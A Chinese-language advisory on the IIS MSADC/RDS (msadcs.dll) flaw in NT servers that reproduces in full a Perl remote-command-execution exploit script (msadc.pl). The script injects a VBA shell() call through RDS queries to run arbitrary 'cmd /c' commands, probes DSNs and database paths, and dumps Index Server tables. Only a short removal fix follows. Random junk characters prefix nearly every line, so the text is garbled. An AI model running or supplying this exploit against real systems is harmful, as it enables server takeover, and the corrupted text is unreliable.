IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
Etg'"d@[ !! %vs
6 涉及程序：
J`Q#p %W Microsoft NT server
JyvXNV, l;b5 v]~ 描述：
p&_Kb\} U 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
f XS4&XU F !tn|!~ 详细：
b 6'%nR*f 如果你没有时间读详细内容的话，就删除:
+8 ]}'6m c:\Program Files\Common Files\System\Msadc\msadcs.dll
-A[i TI" 有关的安全问题就没有了。
#x" 4tI r> eOq[z 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
(S&X??jfB5 kQRN Vdiz 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
]}<wS ]1 关于利用ODBC远程漏洞的描述，请参看:
*.8@ hPy /g< T)$2 http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm JLp.bxx e(@ YBQ/Z 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
ah U\(= http://www.microsoft.com/security/bulletins/MS99-025faq.asp !6'j
W! OAEJ?ik 这里不再论述。
9e@Sx{?r dUk^DI ,:l 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
@D[jUC$E t.v@\[{ - /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
Q
Bc\=} 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
DO'$J9;* oQBfDD0 f5IO<(:E^ #将下面这段保存为txt文件，然后: "perl -x 文件名"
5#!pwjt~7 !E'jd72O #!perl
_1VtVfiZ{ #
C%85Aq* 4 # MSADC/RDS 'usage' (aka exploit) script
N5Eb.a9S #
9?:SxI;v # by rain.forest.puppy
-4m UGh1dy #
ff**) Xdh # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
7[[ XNJP # beta test and find errors!
EX7gTf# H5j~<@STC use Socket; use Getopt::Std;
#*:y2W%H getopts("e:vd:h:XR", \%args);
~vy_~|6s CL5u{ i5 print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
cfyN)#9 M;ac U~J if (!defined $args{h} && !defined $args{R}) {
*` >(K& print qq~
x>8=CiUE Usage: msadc.pl -h <host> { -d <delay> -X -v }
9He>F7J:p' -h <host> = host you want to scan (ip or domain)
.h-:) e* -d <seconds> = delay between calls, default 1 second
(y7U}Sb' -X = dump Index Server path table, if available
B9`nV.a -v = verbose
sa36 =:5x- -e = external dictionary file for step 5
w8:~LX.n 1tHTjEG4^3 Or a -R will resume a command session
V
lN&Lz RcitW;{|Kg ~; exit;}
;]3Tuq ,YX[6eZr $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
N9 3
ZI|T if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
44B)=p7
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
):E4qlB if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
#>g]CRN $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
i9[=x(-@ if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
}A'QXtI/G Sp: `Z1kH if (!defined $args{R}){ $ret = &has_msadc;
h`F8GNx( die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
Gdq _T* a]|P rjPI print "Please type the NT commandline you want to run (cmd /c assumed):\n"
`So*\#\T . "cmd /c ";
` {s:lf $in=<STDIN>; chomp $in;
t5G@M&d4Eo $command="cmd /c " . $in ;
;>{B K, V )V\M6 if (defined $args{R}) {&load; exit;}
c~[L ;_ ZP61 T*n print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
w&:"x@ -| &try_btcustmr;
Gt{~u^< !>W _3Ea print "\nStep 2: Trying to make our own DSN...";
w+(bkqz] &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
i{?uIb B g|tnY N print "\nStep 3: Trying known DSNs...";
n KC$
KC &known_dsn;
>_X Rh B v /]>Z print "\nStep 4: Trying known .mdbs...";
);$_|]# &known_mdb;
N'w ;1,c+ RR>Q$ K if (defined $args{e}){
8*V^DM3n- print "\nStep 5: Trying dictionary of DSN names...";
Jf{6'Ub &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
rwGY )9 | 73OFFKbsk print "Sorry Charley...maybe next time?\n";
8Ih+^Y
a exit;
3yn>9qt N1`/~Gi ##############################################################################
H]K(`)y}4 Q"n|<!DN sub sendraw { # ripped and modded from whisker
k;/U6,LQ* sleep($delay); # it's a DoS on the server! At least on mine...
@JVax - N my ($pstr)=@_;
ZNNgi@6> socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
N
'2N v die("Socket problems\n");
pwU
l&hwte if(connect(S,pack "SnA4x8",2,80,$target)){
fx2r\ usX[ select(S); $|=1;
:
&>PN,q> print $pstr; my @in=<S>;
zBV7b| j select(STDOUT); close(S);
A
q;]al return @in;
ORHs1/L`j } else { die("Can't connect...\n"); }}
yPL1(i; DS0c0lsx ##############################################################################
JJ[.K*dO H z&a~ sub make_header { # make the HTTP request
w K0vKd i my $msadc=<<EOT
*U|K~dl]K POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
q '9u8b User-Agent: ACTIVEDATA
=Bu> }$BD Host: $ip
BWV)>
-V Content-Length: $clen
YYwFjA@ Connection: Keep-Alive
Ugzq;}V# -\xNuU ADCClientVersion:01.06
:1NF#-2\f Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
Y4 q; ~'k.'O{ --!ADM!ROX!YOUR!WORLD!
musZCg$ Content-Type: application/x-varg
'|V "!R) Content-Length: $reqlen
,\ [R\s YMx]i,u'+ EOT
f-&4x_5 ; $msadc=~s/\n/\r\n/g;
Q ]wM WV return $msadc;}
#lXwBfBMf :23w[vt= ##############################################################################
Ry9kGdqO p(o"K@I sub make_req { # make the RDS request
# InuN8sI my ($switch, $p1, $p2)=@_;
2>3#/ I9Y my $req=""; my $t1, $t2, $query, $dsn;
}xXUCU< |#G.2hMFr if ($switch==1){ # this is the btcustmr.mdb query
] /&qv6D*d $query="Select * from Customers where City=" . make_shell();
5'>DvCp%M $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
,xmmS\ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
5nC#<EE |Xz-rgkQ elsif ($switch==2){ # this is general make table query
([\mnL<FC $query="create table AZZ (B int, C varchar(10))";
a hQdBoj $dsn="$p1";}
IJ >qs8 nKpXR uFn\ elsif ($switch==3){ # this is general exploit table query
foO /Yc $query="select * from AZZ where C=" . make_shell();
%i [G 6+- $dsn="$p1";}
d^AXhQjQN- \>,[5|GU elsif ($switch==4){ # attempt to hork file info from index server
*9Eep~ 6 $query="select path from scope()";
\~u7 k $dsn="Provider=MSIDXS;";}
K@yLcgr{O2 *l\wl @{ elsif ($switch==5){ # bad query
OI :G~Wg $query="select";
ypyqf55gK $dsn="$p1";}
N 0 <([B; &5k$ v^W5 $t1= make_unicode($query);
HoE@t-S $t2= make_unicode($dsn);
5eS0
B{,c $req = "\x02\x00\x03\x00";
CWF(OMA $req.= "\x08\x00" . pack ("S1", length($t1));
;nS.t_UW. $req.= "\x00\x00" . $t1 ;
gp@X( d $req.= "\x08\x00" . pack ("S1", length($t2));
tgk] sQY $req.= "\x00\x00" . $t2 ;
aTXmF1_n $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
nX
4WlH return $req;}
REqQJ7a/ NPc@;g]d" ##############################################################################
ePF)wl;m oN3DM ; sub make_shell { # this makes the shell() statement
"&!7wH ,A return "'|shell(\"$command\")|'";}
}XHB7, !j8.JP}!) ##############################################################################
j~DTvWg<Jl ]k0Pe;< sub make_unicode { # quick little function to convert to unicode
YO&=f d* my ($in)=@_; my $out;
i3
?cL4 for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
n[ |*[II return $out;}
K,B qVu i{T mn ##############################################################################
1{%3OG^' $wnK"k%G sub rdo_success { # checks for RDO return success (this is kludge)
ha Tmfh_| my (@in) = @_; my $base=content_start(@in);
#GoZH?MAF if($in[$base]=~/multipart\/mixed/){
7S ^ba return 1 if( $in[$base+10]=~/^\x09\x00/ );}
w g- qq4Q\ return 0;}
(^),G-] .AHf]X0 ##############################################################################
')G, +d^ b3j?@31AD sub make_dsn { # this makes a DSN for us
$qndG,([F my @drives=("c","d","e","f");
V c 2 (R^ print "\nMaking DSN: ";
K14FY2" foreach $drive (@drives) {
u?Pec:3% print "$drive: ";
[2~^~ K my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
d `eX_] Z "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
b({K6#?'[ . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
S1d^ mu $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
8/i];/,v*M return 0 if $2 eq "404"; # not found/doesn't exist
&oJ1v<` if($2 eq "200") {
5f#N$ mh foreach $line (@results) {
2lb H UK return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
@la/sd4` } return 0;}
8rV"? m`S zeqwmV= ##############################################################################
v,}M n7: JCe%;U sub verify_exists {
^$>Q6.x?*) my ($page)=@_;
Chso ]N.1 my @results=sendraw("GET $page HTTP/1.0\n\n");
`eo$o! return $results[0];}
0R21"]L_M Ka4KsJN ##############################################################################
.<fn+] r]+/"~a sub try_btcustmr {
?:$aX@r my @drives=("c","d","e","f");
'}$]V>/ my @dirs=("winnt","winnt35","winnt351","win","windows");
r(qw zUI }F
B]LLi foreach $dir (@dirs) {
VoG_'P print "$dir -> "; # fun status so you can see progress
OTy{:ID foreach $drive (@drives) {
)I{ ~Pcq print "$drive: "; # ditto
R(t1Ei.-? $reqlen=length( make_req(1,$drive,$dir) ) - 28;
;L`N F" $reqlenlen=length( "$reqlen" );
GZq~P l $clen= 206 + $reqlenlen + $reqlen;
- f&m4J} E #TUu k my @results=sendraw(make_header() . make_req(1,$drive,$dir));
kq$0~lNI$ if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
)/:j$aq else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
@r130eLh c'!+]'Lr ##############################################################################
Vb57B. I XI5TVxo(q sub odbc_error {
\Bvy~UeE)> my (@in)=@_; my $base;
[gkOwU =? my $base = content_start(@in);
F!RzF7h1 if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
IE*5p6IM~ $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
~[Fh+t(Y $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
QAx R'.d $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
R9q9cB i3 return $in[$base+4].$in[$base+5].$in[$base+6];}
y 1I(^<qO= print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
lj US-6 print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
\D5_g8m:
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
F?c :
).g xoB "hNIX ##############################################################################
w3>. d(Q [G<SAWFg7 sub verbose {
FgnS+c3W( my ($in)=@_;
F 2 ^qf return if !$verbose;
(~Hwq:= . print STDOUT "\n$in\n";}
KvvG
H-] (?vKe 5 ##############################################################################
4qKMnY R c#L. I sub save {
m=#< my ($p1, $p2, $p3, $p4)=@_;
_8{6&AmIw open(OUT, ">rds.save") || print "Problem saving parameters...\n";
P3_ &( print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
Aq*,cOF+ close OUT;}
/ReOf<%B ']^_ W0?= ##############################################################################
b8 O }XB 1,Uf-i sub load {
C'&t@@: my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
w :|YO eP open(IN,"<rds.save") || die("Couldn't open rds.save\n");
;kLp}CqV @p=<IN>; close(IN);
1
F+$\fLr $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
aU yJi $target= inet_aton($ip) || die("inet_aton problems");
#W2#'J:l print "Resuming to $ip ...";
=rzhaU' A' $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
>U#j\2!Sg if($p[1]==1) {
+9N I=s6 $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
R-]i BL $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
_s~F/G`iT my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
+*=?0 \ if (rdo_success(@results)){print "Success!\n";}
dz"HO !9 else { print "failed\n"; verbose(odbc_error(@results));}}
{^N 90,! elsif ($p[1]==3){
T,uVt^.R + if(run_query("$p[3]")){
IuOQ X} print "Success!\n";} else { print "failed\n"; }}
FV>xAU$ elsif ($p[1]==4){
IWNIk9T,u if(run_query($drvst . "$p[3]")){
V5up/ 6b,1 print "Success!\n"; } else { print "failed\n"; }}
3BK_$Fy exit;}
g7`uWAxZa lfe^_`ij(+ ##############################################################################
"*oN~&flc 'l41];_ sub create_table {
Vd+5an? my ($in)=@_;
G&,2>qxK R $reqlen=length( make_req(2,$in,"") ) - 28;
EWp'zbWP $reqlenlen=length( "$reqlen" );
W't.e0L<6 $clen= 206 + $reqlenlen + $reqlen;
&aWY{ ?_ my @results=sendraw(make_header() . make_req(2,$in,""));
IfF&QBi return 1 if rdo_success(@results);
K/D,s H! my $temp= odbc_error(@results); verbose($temp);
q@ %9Y3 return 1 if $temp=~/Table 'AZZ' already exists/;
D ]zpG return 0;}
?{KC@c*c W<OO:B.ty ##############################################################################
{3kI~s 3=Va0}#& sub known_dsn {
7p+uHm # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
5imqZw my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
ghV xcK "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
,}HnS)+ "banner", "banners", "ads", "ADCDemo", "ADCTest");
L~} 2&w X0zE -h6P foreach $dSn (@dsns) {
zm p Q=%/H print ".";
.,( ,< next if (!is_access("DSN=$dSn"));
QP[`*X if(create_table("DSN=$dSn")){
D OGg=`XK1 print "$dSn successful\n";
]qNPOnlp if(run_query("DSN=$dSn")){
F<^93a9 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
%
ovk}}%; print "Something's borked. Use verbose next time\n";}}} print "\n";}
h |
]BA}D + {/*P 5 ##############################################################################
SPY4l*kX K $Yc!4M sub is_access {
*EzAo my ($in)=@_;
liG3
$reqlen=length( make_req(5,$in,"") ) - 28;
'<KzWxuC $reqlenlen=length( "$reqlen" );
K)n0?Q_> $clen= 206 + $reqlenlen + $reqlen;
pgU4>tyD my @results=sendraw(make_header() . make_req(5,$in,""));
9KLhAYaq my $temp= odbc_error(@results);
}dSxrT verbose($temp); return 1 if ($temp=~/Microsoft Access/);
b cy(
?( return 0;}
C@q&0\HN Gj(UA1~1 ##############################################################################
n:5*Tg9 yi9c+w)b sub run_query {
6P:H` my ($in)=@_;
;3k6_ub $reqlen=length( make_req(3,$in,"") ) - 28;
G9uWn%5r $reqlenlen=length( "$reqlen" );
KqT~MP l $clen= 206 + $reqlenlen + $reqlen;
n\D3EP<s my @results=sendraw(make_header() . make_req(3,$in,""));
D:Y `{ { return 1 if rdo_success(@results);
l5d>
YTK+5 my $temp= odbc_error(@results); verbose($temp);
,wlSNb@' return 0;}
>`'>,n | ) gq( ##############################################################################
dk9nhS+faJ Ch9A6?=Hj8 sub known_mdb {
q{t"=@lX01 my @drives=("c","d","e","f","g");
`O/RNMaC my @dirs=("winnt","winnt35","winnt351","win","windows");
m
K@a7fF? my $dir, $drive, $mdb;
v__;oqN0 my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
dj0`Q:VZ /@\3#2; # this is sparse, because I don't know of many
3((53@s98 my @sysmdbs=( "\\catroot\\icatalog.mdb",
F ttny] "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
x uD n: "\\system32\\certmdb.mdb",
\w=7L-
8 "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
oNV(C'A @5# RGM)5^ my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
=7Y gES "\\cfusion\\cfapps\\forums\\forums_.mdb",
4$+9k;m' "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
<AB.`[" "\\cfusion\\cfapps\\security\\realm_.mdb",
T6ZJ SKM "\\cfusion\\cfapps\\security\\data\\realm.mdb",
,-XJ@@2gM "\\cfusion\\database\\cfexamples.mdb",
V6ioQx=K# "\\cfusion\\database\\cfsnippets.mdb",
NR)[,b\v "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
CQcb !T "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
6c>tA2G|8 "\\cfusion\\brighttiger\\database\\cleam.mdb",
!OJSQB, "\\cfusion\\database\\smpolicy.mdb",
'k9hzk(* "\\cfusion\\database\cypress.mdb",
UVD :: "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
D|D1`CIM "\\website\\cgi-win\\dbsample.mdb",
8c' 0"G@S "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
% KmB>9 "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
(u
>:G6K ); #these are just
kty,hAXe foreach $drive (@drives) {
Px4 zI9;cB foreach $dir (@dirs){
u? f3&pA foreach $mdb (@sysmdbs) {
#dGg ! D print ".";
\[+\JWJj if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
V8xv@G{; print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
1% )M-io if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
/z4xq'< print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
xIo7f } else { print "Something's borked. Use verbose next time\n"; }}}}}
n~d`PGs?f */L;6_ foreach $drive (@drives) {
NW9k. D% foreach $mdb (@mdbs) {
e-o s0F print ".";
1*x4T%RF$ if(create_table($drv . $drive . $dir . $mdb)){
+Hb6j02 # print "\n" . $drive . $dir . $mdb . " successful\n";
G\H@lFh if(run_query($drv . $drive . $dir . $mdb)){
@$79$:q N print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
j1>77C3 } else { print "Something's borked. Use verbose next time\n"; }}}}
^~ 5tntb. }
NoJo-vo* -7" >A~c ##############################################################################
MQ>vHapr '+X9MzU*\ sub hork_idx {
3A} n tA! print "\nAttempting to dump Index Server tables...\n";
J 6S print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
00G[ `a5 $reqlen=length( make_req(4,"","") ) - 28;
{Pg7IYjH $reqlenlen=length( "$reqlen" );
Z3R..v y8 $clen= 206 + $reqlenlen + $reqlen;
?#kI9n<O my @results=sendraw2(make_header() . make_req(4,"",""));
-c=IO(B/ if (rdo_success(@results)){
Drlt xI) my $max=@results; my $c; my %d;
C_#0Y_O for($c=19; $c<$max; $c++){
F
,{nG[PL $results[$c]=~s/\x00//g;
3@}HdLmN| $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
N_VAdNJ^: $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
DoPm{ 055J $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
AX1'.
$d{"$1$2"}="";}
7Hpsmfm foreach $c (keys %d){ print "$c\n"; }
){>; eky } else {print "Index server doesn't seem to be installed.\n"; }}
]'_z (s} L#u6_`XJ+ ##############################################################################
RkLH}`# XR\ iQ sub dsn_dict {
hBE}?J> open(IN, "<$args{e}") || die("Can't open external dictionary\n");
<UQ:1W8>B while(<IN>){
7B% @f9g $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
(7ew&u\Li next if (!is_access("DSN=$dSn"));
eOn ,`B1 if(create_table("DSN=$dSn")){
{dj OU
9] print "$dSn successful\n";
oT|E\wj if(run_query("DSN=$dSn")){
z<<` 1wqg print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
@;<w"j`r print "Something's borked. Use verbose next time\n";}}}
x el&8 ` print "\n"; close(IN);}
~.x! st} @-b}iP<T ##############################################################################
H[,.nH_>+ >M:5yk@ sub sendraw2 { # ripped and modded from whisker
4g1u9Sc0 sleep($delay); # it's a DoS on the server! At least on mine...
K)Db3JIIk my ($pstr)=@_;
Ca BTqo socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
&9s6p6 eb die("Socket problems\n");
O~,^x$v e if(connect(S,pack "SnA4x8",2,80,$target)){
X\%],"9% print "Connected. Getting data";
{b<8Z*4W open(OUT,">raw.out"); my @in;
)X^nzhZ2O" select(S); $|=1; print $pstr;
X Y4 s while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
$;;?' !%. close(OUT); select(STDOUT); close(S); return @in;
J*U(f{Q( } else { die("Can't connect...\n"); }}
h'-TZXs0e1 g>im2AD+e ##############################################################################
;*Z
w}51 ?>o39|M_w sub content_start { # this will take in the server headers
LOida# R my (@in)=@_; my $c;
"W+4`A(/l for ($c=1;$c<500;$c++) {
\R-u+ci$ZY if($in[$c] =~/^\x0d\x0a/){
ZTmdS if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
',!#?aGV else { return $c+1; }}}
2qr%xK'^B return -1;} # it should never get here actually
N'`*#UI+ n1ED _9 ##############################################################################
Q Hs]~Ja i2j)%Gc} sub funky {
n )K6Z{x my (@in)=@_; my $error=odbc_error(@in);
AN~1 E@" if($error=~/ADO could not find the specified provider/){
`z=MI66Nl print "\nServer returned an ADO miscofiguration message\nAborting.\n";
<![T~<. exit;}
ZY/at/v if($error=~/A Handler is required/){
;JmD(T7{ print "\nServer has custom handler filters (they most likely are patched)\n";
huTJ
a2 exit;}
<aHK{ *'3 if($error=~/specified Handler has denied Access/){
2hu6 print "\nServer has custom handler filters (they most likely are patched)\n";
y~luuV;uj exit;}}
Sej$x)Q\t ;OKQP~^iH2 ##############################################################################
, Xh4(Gn#b d=5D 9' + sub has_msadc {
Zh(f2urKV my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
K0E ;4r my $base=content_start(@results);
|;_
yAL return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
1QN]9R0`#7 return 0;}
W.67, 0m$ ^2??]R&Q
########################
Zka;} UL&Q O.$<B f9
nu3 A'E`'k 解决方案：
Z?x]HB`r 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
p~mB;pZ%; 2、移除web 目录: /msadc
